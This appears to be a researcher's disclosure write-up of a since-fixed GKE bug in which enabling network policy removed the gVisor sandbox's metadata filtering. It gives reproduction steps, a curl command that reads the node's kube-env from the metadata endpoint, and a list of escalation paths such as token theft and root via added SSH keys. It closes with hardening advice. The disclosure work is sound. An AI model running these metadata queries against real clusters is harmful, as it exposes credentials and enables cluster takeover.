Escaping GKE gVisor sandboxing using metadata

Introduction

GKE is a Google Cloud service that offers a managed Kubernetes cluster, the nodes of the clusters are running on Google Cloud VM instances, the control plane and network is fully managed by GKE.

GKE offers a sandboxing feature (https://cloud.google.com/kubernetes-engine/docs/concepts/sandbox-pods), based on gVisor (https://gvisor.dev/docs/) it protects the host kernel from untrusted code. This sandboxing offers a very good isolation and allow SaaS business to execute unknown code submitted by their users.

I tried to use this feature to run isolated workloads and found that the isolation was not entirely effective and that the access to the metadata API was possible under certain conditions.

Network isolation using network policy

By default, in a Kubernetes cluster all pods are able to communicate, GKE recommends to use Network Policy to restrict the network traffic between pods (https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#restrict_with_network_policy).

When running untrusted code, it is a good practice to isolate your clients from each other and from your own services.

With this feature, it is easy to define a policy and attach it to a group of pods and restrict the network access for theses pods.

Sandbox metadata protection

Google Cloud team documents how to harden the workload isolation using GKE sandbox (https://cloud.google.com/kubernetes-engine/docs/how-to/sandbox-pods#sandboxed-application), and gives some hints on how to configure and test the access to the metadata.

To validate that the filtering is properly enabled, you can launch a new pod and run the following command:

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env" -H "Metadata-Flavor: Google"

This command is failing as described in the documentation because there is filtering denying the access to the metadata API.

By default the instance metadata API server is not supposed to be accessible from any sandboxed pod.

Bug found

When testing the network isolation for untrusted pods, I tried to configure the network policy on the cluster and applied some network filtering rules for the pods that I wanted to isolate.

After more testing, I found out that I was able to query the metadata API, it appears that the network filtering applied for the gVisor sandboxed pod by the GKE team was entirely disabled when the network policy was activated.

Since this sandboxing feature is supposed to run untrusted code, this would give an attacker access to sensitive informations about the node, project and Kubernetes cluster.

The bug was reported to the VRP team and quickly fixed, I was able to mitigate this by manually filtering the 169.254.169.254 IP in the network policy applied to theses pods.

How to reproduce

You can follow the steps here : https://cloud.google.com/kubernetes-engine/docs/how-to/sandbox-pods

• Create a new cluster with network policy enabled

gcloud container clusters create cluster-name --enable-network-policy

• Create a new gVisor pool

gcloud container node-pools create gvisor \
  --cluster=cluster-1 \
  --node-version=1.16.13-gke.401 \
  --machine-type=e2-standard-2 \
  --image-type=cos_containerd \
  --sandbox type=gvisor --zone europe-west1-c

• Apply the test configuration from the documentation

# sandbox-metadata-test.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: fedora
  labels:
    app: fedora
spec:
  replicas: 1
  selector:
    matchLabels:
      app: fedora
  template:
    metadata:
      labels:
        app: fedora
    spec:
      runtimeClassName: gvisor
      containers:
        - name: fedora
          image: fedora
          command: ['/bin/sleep', '10000']

• Launch a shell

kubectl exec -it pod-name /bin/sh

• Enjoy full access on the metadata API

curl  "http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env" -H "Metadata-Flavor: Google"
...
ALLOCATE_NODE_CIDRS: "true"
API_SERVER_TEST_LOG_LEVEL: --v=3
...

Going deeper

With this metadata exposure bug, an attacker may gain access to sensitive information about the node, project and Kubernetes cluster.

Depending of the configuration, this could lead to:

• read project id
• read public ssh keys
• get node information (name, ip, ...)
• add his own ssh key and gain root access on the node
• get Kubernetes configuration and certificate
• access the Kubernetes cluster
• impersonate a Kubernetes node
• retrieve an service account token
• access / create / edit / delete project resources

Better isolation of untrusted code in GKE

Even when the isolation is properly working you have many ways to protect yourself against this kind of metadata exposure.

A few recommandation for running untrusted code in GKE:

• Always double check that the network policy is properly applied
• Filter out all internal ranges, whitelist only the required
• gVisor is fine but may be tricky to configure in Kubernetes, double check using dmesg if you are running inside the sandbox
• Do not use default identities for instance identity
• You can use multiple projects to isolate workload / clients
• Do not use cluster dns
• Create specific node pool for untrusted code
• Use workload identity https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
• Use metadata concealment https://cloud.google.com/kubernetes-engine/docs/how-to/protecting-cluster-metadata#concealment
• Use shielded GKE nodes https://cloud.google.com/kubernetes-engine/docs/how-to/shielded-gke-nodes